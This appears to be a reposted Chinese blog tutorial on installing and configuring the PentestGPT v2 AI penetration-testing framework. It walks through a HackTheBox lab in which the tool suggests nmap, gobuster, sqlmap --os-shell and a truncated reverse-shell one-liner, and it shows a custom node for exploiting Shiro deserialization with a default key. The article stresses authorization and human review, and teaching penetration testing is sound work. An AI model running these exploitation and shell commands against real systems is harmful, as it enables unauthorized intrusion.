文章总结: 本文详细介绍了PentestGPTv2(Excalibur)AI渗透测试框架的部署与实战应用。该工具通过渗透测试任务树(PTT)解决传统LLM的上下文丢失问题,采用LeadTester推理、JuniorTester生成、Parser解析的三级架构。文章提供了三种安装方式(pip/Docker/本地模型)、从信息收集到获取Shell的完整实战流程,并强调工具需在授权范围内使用,人工审核生成命令。 综合评分: 85 文章分类: 渗透测试,安全工具,AI安全,实战经验,红队
PentestGPT部署实战:AI渗透从0到1
原创
ladon ladon
306Safe
2026年6月25日 09:19 北京
在小说阅读器读本章
去阅读
PentestGPT部署实战:AI渗透测试从0到1
过去两年,我试过不下十种标榜”AI赋能渗透”的工具,要么在信息收集阶段就无限死循环,要么面对稍微复杂的漏洞链就把之前拿到的凭证忘得一干二净。直到PentestGPT v2(代号Excalibur)出来——它不是把ChatGPT套个壳就叫”AI渗透测试工具”,而是一个面向红队/渗透工程师工作场景深度定制的本地化推理增强框架。
这篇文章,从安装到打穿靶场,全部走一遍。
01 PentestGPT是什么?核心架构拆解
PentestGPT是Georgia Tech联合多个安全团队开发的AI驱动渗透测试框架,核心创新是渗透测试任务树(Penetration Testing Tree, PTT)。
传统LLM做渗透测试最大问题是:上下文丢失。你让AI做了端口扫描,它下一轮可能就忘了445端口开着SMB。PTT本质上是一棵结构化的状态树,每个节点是一个任务(如端口扫描、漏洞测试、权限提升),边定义任务之间的推理流和依赖关系。AI每次推理都基于整棵树的当前状态,而不是最后几轮对话。
架构上分三个模块:
-
Lead Tester(推理模块)
:负责分析当前状态,决定下一步做什么。它是”老法师”,不执行具体操作,只出主意
-
Junior Tester(生成模块)
:根据Lead Tester的决策,生成具体的命令和payload
-
Parser(解析模块)
:解析命令执行结果,更新PTT状态树
这种三级架构的设计哲学是:让LLM只做它擅长的事(推理和生成),把状态管理交给数据结构。结果是,它在长链路渗透场景下的上下文保持能力,远超把整个对话历史塞进prompt的方案。
02 环境准备:别急着装,先检查
硬件要求:
- 推荐Kali Linux(或Ubuntu 22.04+),PentestGPT会调用nmap、sqlmap、nikto等内置工具
- 至少8GB内存(Docker方式需要12GB+)
- 网络:能访问目标靶场 + 能调用LLM API
软件依赖:
- Python 3.10+(必须,3.9会有async兼容问题)
- OpenAI API Key / 本地部署的LLM(推荐Llama 3 70B量化版)
- Kali Linux工具链:nmap, nikto, sqlmap, dirb, gobuster, hydra(apt一键装)
# Kali一键装全依赖 sudo apt update && sudo apt install -y nmap nikto sqlmap dirb gobuster hydra
03 三种安装方式,按需选择
方式一:pip安装(最简单,推荐新手)
# 创建虚拟环境 python3 -m venv pentestgpt-env source pentestgpt-env/bin/activate # 安装PentestGPT pip install pentestgpt # 初始化配置 pentestgpt --init
初始化时需要输入你的OpenAI API Key。如果你想用国产模型(如DeepSeek),可以手动编辑配置文件~/.pentestgpt/config.yaml:
llm: provider: "openai" # 兼容OpenAI接口即可 model: "deepseek-chat" api_key: "sk-xxx" base_url: "https://api.deepseek.com/v1"
方式二:Docker安装(隔离性最好)
# 拉取镜像 docker pull pentestgpt/pentestgpt:latest # 启动(注意挂载API Key配置) docker run -it --rm \ -v ~/.pentestgpt:/root/.pentestgpt \ -p 8000:8000 \ pentestgpt/pentestgpt:latest
启动后访问http://localhost:8000进入Web界面。Docker方式的好处是不污染宿主环境的Python依赖,坏处是网络模式要配置好——桥接模式下扫描靶场没问题,但扫内网要改用host网络。
方式三:本地模型(完全离线,高阶玩法)
如果不想把数据发给API,可以用本地LLM。实测最低配置:单张A100 80G跑Llama-3-70B的4-bit量化版。
# 用Ollama部署本地模型 ollama pull llama3:70b # 修改PentestGPT配置指向本地 llm: provider: "ollama" model: "llama3:70b" base_url: "http://localhost:11434"
注意:70B模型在渗透测试的推理质量上明显弱于GPT-4级别,本地方案适合对数据隐私有极高要求的场景,但要接受约30%的推理准确率下降。
04 实战:从信息收集到拿到Shell
以下使用HackTheBox的Easy级别靶场演示。
第一步:启动交互会话
pentestgpt --session new
PentestGPT进入交互模式,你会看到三个窗口:左侧是Lead Tester的推理输出,中间是命令输入,右侧是结果解析。
第二步:指定目标,开始侦察
你:目标IP是10.10.11.40,开始渗透测试 Lead Tester:建议先进行全端口扫描,识别开放服务和版本信息 Junior Tester:nmap -sC -sV -p- 10.10.11.40 -oN nmap_full
这里PentestGPT会自动执行nmap命令(需要你的确认,不会直接跑),然后Parser解析结果并更新PTT:
Parser解析结果: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http Apache httpd 2.4.52 443/tcp open ssl/http Apache httpd 2.4.52 PTT状态更新: [完成] 全端口扫描 → 发现3个开放端口 [待执行] Web服务枚举 [待执行] SSH暴力破解(优先级低)
第三步:Web枚举,发现入口
Lead Tester:80端口运行Apache,建议进行目录枚举和子域名发现 Junior Tester:gobuster dir -u http://10.10.11.40 -w /usr/share/wordlists/dirb/common.txt # 发现 /admin 路径重定向到登录页 Lead Tester:发现/admin路径,登录表单可能存在SQL注入或弱口令 Junior Tester:sqlmap -u "http://10.10.11.40/admin/login.php" --forms --batch
第四步:漏洞利用
sqlmap确认存在SQL注入后:
Lead Tester:SQL注入确认为Union-based,可以尝试读取数据库凭据或写Webshell Junior Tester:sqlmap -u "http://10.10.11.40/admin/login.php" --forms --os-shell # 拿到OS Shell后 Lead Tester:建议升级为反向Shell以获得稳定交互 Junior Tester:python3 -c 'import socket,subprocess,os;...'
整个过程,PentestGPT不会”自己决定”执行什么命令——每一步都需要你确认。它的价值在于推理链路不中断:它记得445端口开过SMB、记得sqlmap的注入点参数、记得你已经拿到了www-data权限。这些在手动渗透测试中是最容易忘的。
05 关键配置优化:让PentestGPT更”聪明”
配置1:自定义System Prompt
默认的System Prompt偏通用。你可以针对特定场景定制,比如Web应用渗透:
# 编辑 ~/.pentestgpt/prompts/web_pentest.txt 你是一个专业的Web应用渗透测试工程师。 优先测试OWASP Top 10漏洞。 对于每个发现的漏洞,给出CVSS评分和修复建议。 当前测试范围:仅限授权目标。
配置2:工具集成
PentestGPT支持通过MCP协议调用外部工具。在config.yaml中配置:
tools: - name: "nuclei" type: "mcp" command: "nuclei-mcp-server" - name: "httpx" type: "mcp" command: "httpx-mcp-server"
配置3:自动模式 vs 手动模式
-
手动模式
(默认):每条命令都需要确认,适合学习阶段
-
自动模式
:PentestGPT连续执行命令链,只在关键节点暂停确认
--auto
06 常见问题排错
Q:安装时报错”ModuleNotFoundError: aiohttp”
A:这是依赖冲突问题,用虚拟环境隔离解决。如果还报,手动装:pip install aiohttp==3.9.5
Q:API调用超时
A:配置代理:export HTTPS_PROXY=http://127.0.0.1:7890,或者在config.yaml中设置proxy字段
Q:PentestGPT生成的nmap命令不对
A:这是Prompt工程问题。在输入目标时,给出更多上下文,比如”目标是一个Linux Web服务器,重点关注HTTP和SSH服务”
Q:本地模型推理质量差
A:70B模型的推理确实不如GPT-4级别。两个优化方向:1)在System Prompt中给出更强的约束和示例;2)降低PTT的分支深度,让模型在更窄的决策空间中推理
07 安全合规:红线意识
PentestGPT是渗透测试辅助工具,仅限在授权范围内使用。几个关键原则:
- 永远先拿到书面授权再测试
- PentestGPT生成的命令务必人工审核后再执行
- 不要用AI自动化的借口跳过规矩测试流程
- 测试结果按合规要求处理和存储
工具越强,责任越大。AI不是你越权测试的挡箭牌。
08 与其他AI渗透工具的对比
| 特性 | PentestGPT | HackerGPT | KaliGPT | | — | — | — | — | | 状态管理 | PTT任务树 | 对话历史 | 三模块架构 | | 工具集成 | MCP协议 | 内置命令 | Web UI | | 本地模型支持 | 支持 | 不支持 | 支持 | | 上下文保持 | 最强 | 弱 | 中等 | | 开源 | 是 | 部分 | 是 |
PentestGPT的核心优势在于PTT任务树带来的状态持久性——在需要多步推理的复杂渗透场景下,它不会”忘记”之前做了什么。
09 进阶:自定义PTT节点
PentestGPT允许你自定义任务树节点。比如你有一个内部常用的Shiro反序列化检测流程:
# ~/.pentestgpt/custom_nodes/shiro_detection.yaml name: "Shiro反序列化检测" trigger: "检测到rememberMe Cookie" steps: - name: "识别Shiro指纹" command: "curl -I {{target}} | grep rememberMe" - name: "测试默认密钥" command: "java -jar shiro_exploit.jar -u {{target}} -k kPH+bIxk5D2deZiIxcaaaA==" - name: "尝试命令执行" command: "java -jar shiro_exploit.jar -u {{target}} --exec 'id'" output: "shiro_result.txt"
放到~/.pentestgpt/custom_nodes/目录下,PentestGPT会在检测到trigger条件时自动将此节点加入PTT。
传送门:github.com/GreyDGL/PentestGPT
PentestGPT不是要替代渗透工程师,而是当你的”AI副驾”——它帮你记住上下文、推荐下一步、生成命令,但扣扳机的永远是你自己。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:306Safe ladon ladon《PentestGPT部署实战:AI渗透从0到1》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论